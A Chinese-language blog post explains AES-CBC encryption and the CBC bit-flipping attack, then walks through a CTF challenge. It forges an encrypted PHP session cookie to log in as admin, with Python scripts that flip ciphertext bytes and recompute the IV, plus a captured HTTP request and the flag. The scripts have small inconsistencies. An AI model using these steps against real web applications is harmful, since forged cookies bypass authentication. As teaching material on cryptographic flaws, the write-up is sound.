1.加解密过程

0x01:加密过程如下图(来自《图解密码技术》一书)

 0x02:解密过程(来自《图解密码技术》一书)

CBC模式的加密过程主要分为这几步:

  1. 将明文分为若干组(16个字节为一组),最后一组不足则用特殊字符填充

  2.生成一个初始向量iv和密钥

  3.用iv与第一组明文异或(iv只影响第一组生成的密文)

  4. 然后再用前n组密文与后n+1组明文异或生成第n+1组密文,以次重复

  5.最后将生成的密文拼接起来,就成了最终密文

 

CBC模式的解密过程主要分为这几步:

  1.将密文分组

  2.用iv与第一组密文xor,解密得到第一组明文

  3.用第n组密文与第n+1组密文xor,解密得到第n+1组明文,以此类推

  4.将各组的明文拼接在一起就是最终要得到的明文了

 

这里注意一下:解密的时候前一组密文只影响后一组明文的结果,而不会影响其他组明文的结果,由图也可看得出,这个也是进行攻击的重要之处。

 

2.CBC字节翻转攻击:

我们需要改变前一组密文的一个字节,然后与下一组的密文异或,我们就可以得到一个不同的明文了,从而就能达到攻击的效果。如图:

举个例子:

我现在有个明文序列:helloworld,现在我以它2个字节为一组进行分组(一般是16个字节为一组,但是这里为了方便起见就以2个字节为一组了)

第一组:he

第二组:ll

第三组:ow

第四组:or

第五组:ld

现在我想把第三组 “ow”中的o翻转为x,那么我们就需要改变第二组的密文从而改变第三的明文

phaintext="helloworld"

enc=encrypt(phaintext)

enc1=chr(ord(enc[5])^ord("o")^ord("x"))  #enc[5]即是与“o”相同比特位的密文,也就是说第三组只有"o"这个比特位受影响,而“w”不受影响

result=decrypt(enc1)

这里注意一下:任何字符与本身xor都是为0,任何字符与0xor都为本身,如A xor A=0,A xor 0=A


简单的代码审计:
审计源码首先要找到程序起点,跟着程序走一遍,了解流程。
程序起点在这个if里:
我们以else为分割符,先看上面一段的代码。
程序接收到POST参数(username,password),并且禁止admin登陆。当用户名不是admin的时候,首先把用户名密码放入数组,传到login方法中。
login方法对传入的数组进行了序列化,并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和iv放入cookie。
再到show_homepage()方法,检测$_SESSION中的username是admin时,打印flag。否则提示Only admin can see flag
然后审计else的下半部分,这里是上半部分操作执行过后,存在$_SESSION[‘username’]时执行。当不存在POST数据或者$_SESSION[‘username’]时,显示登陆页面。
有$_SESSION[‘username’]时,进入check_login()方法。
当cookie中存在cipher、iv时,对cipher进行解密。这里是解题的关键,可以通过修改cookie中的cipher值,将序列化数据的用户名修改成admin。从而绕过程序起点处禁止admin登陆的判断。
最后执行到show_homepage()方法,当我们在check_login()中把用户名修改为admin时,这里输出flag。

首先,我们先正常输入账号admin,密码123456。提示admin用户不允许登录。





尝试输入账号zadmin,密码123456,显示成功登录,并只有admin用户才能查看到flag;同时并通过bupsuit对其抓包,并发送数据包.



在http响应头部中发现set-cookie中包含iv和chipher参数变量和对应的值。猜测是CBC模式的加密。


得到:
Set-Cookie: iv=YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D
Set-Cookie: cipher=klN2ta6fm%2Bqe1W8%2FgsejaiR78rQD5l8%2FOXqE3Mvku%2FFc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3%2FaMw%3D%3D
通过python脚本将cipher进行翻转:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-03-15 11:45:57
# @Author : Mr.zhang(s4ad0w.protonmail.com)
# @Link : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D' #这里填写第一次返回的iv值
cipher_raw='klN2ta6fm%2Bqe1W8%2FgsejaiR78rQD5l8%2FOXqE3Mvku%2FFc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3%2FaMw%3D%3D' #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw: " + iv_raw
print "cipher_raw: " + cipher_raw
print "[*]对cipher解码,进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher:" + xor_cipher
得到chipher反转后的值:
klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D
再次访问主页(实际上访问的是admin2账号后台主页),并抓包,这里是get请求,将cookie中的chipher设置为:
klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D,并发送数据包,发现在响应页面得到一串加密的base64字符串。
GET / HTTP/1.1
Host: 114.67.246.176:16565
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1.1.281991049.1629731649; PHPSESSID=qppqc8ta6use8t2q9gdqui3ukg; iv=YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D; cipher=klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D
Connection: close


得到加密的base64:
VDYOv5Hvb8v7zHXM/Va0PG1lIjtzOjY6ImFhZG1pbiI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=
可以看到,服务器提示反序列化失败,但是其实我们这个时候只要对这个进行base64解码就会发现,我们的username已经变成了aadmin

这里对usernmae进行了检测只有admin才能看得到flag,但是admin又不允许登陆,这里看起来有点矛盾,

但是我们再看看前面的代码,这个对登陆信息进行序列化然后用CBC模式的加密方式进行加密最后base64_encode,

然后我们要做的是以admin的身份登陆,我们可以操作cookie中的iv和cipher进行CBC字节翻转攻击。

然后我们以账号为admia,密码为12345登陆

得到的明文是:a:2:{s:8:"username";s:5:"admia";s:8:"password";s:5:"12345"}

然后16个字节分组得到

s:2:{s:8:"userna

me";s:5:"admia";

s:8:"password";s

:3:"12345";}

所以我们要翻转的是第二组的“a”翻转为“n”,所以我们要改变第一组的密文从而达到攻击的效果:

这里得到admin账号得到chiper字符:

import base64

cipher="yQQeUDxlzRvPToe631KV1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg=="

plain=base64.b64decode(cipher)

result=plain[0:13]+chr(ord(plain[13])^ord("n")^ord("a"))+plain[14:]

print base64.b64encode(result)

#print R0dGVia+fJ24Ei3t29NC90P5kRbHXnW+D690WNWHnATH3UHvC4h+btceizE5jotDgG0QZLa9LOdwSAg9LcsCdw==

得到admin账号的chiper:
yQQeUDxlzRvPToe6312V1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg==

再次通过bupsuit 抓包发送,这里在http请求头部中将chiper修改为:yQQeUDxlzRvPToe6312V1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg==
发送数据包后,在响应页面,得到加密的字符串base64
POST过去提示不能正常反序列化,因为我们修改了第一组的密文,导致第一组的密文与iv xor会出错,从而导致了第一组明文不能正常解密,所以我们还要对iv进行修改
得到加密base64字符串:
GhmKmwFwjmIeWfHGAtJ4fW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9,对其解密
发现解密后的字符串中包含admin账号,而明文字段不能正常显示。
出现这种错误,根据CBC解密原理,我们只需要修改iv的值,使得iv XOR 解密(密文1) = 明文1


代码如下(由于我中途输入错了iv,所以代码中的iv和cipher和图中可能会不一样,但是思路是一样的):

注意一下第二步不要修改cipher,只需要修改iv就行了,因为我两个图中的cipher是不一样的,所以我还是要说一下的,以免误人子弟

得到新的iv:

import base64
cipher="wRPT3VONV2zFV6D2PbHjIm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9"
plain=base64.b64decode(cipher)
oldiv=base64.b64decode("uxrq4TtskqrNJh7JUZV9rg==")
one='a:2:{s:8:"userna'
iv=""
for i in range(0,16):
iv=iv+chr(ord(one[i])^ord(plain[i])^ord(oldiv[i]))
print base64.b64encode(iv)#iv=GzMLBhOS//4yU8tMCVbw7Q==



GzMLBhOS//4yU8tMCVbw7Q==

将IV修改为:GzMLBhOS//4yU8tMCVbw7Q==

再次发送请求包,最终得到flag

最终 flag:
flag{862a6ff5b80d324306de118ca75d9e16}



posted @ 2021-12-15 17:10  渗透测试中心  阅读(9195)  评论(0编辑  收藏  举报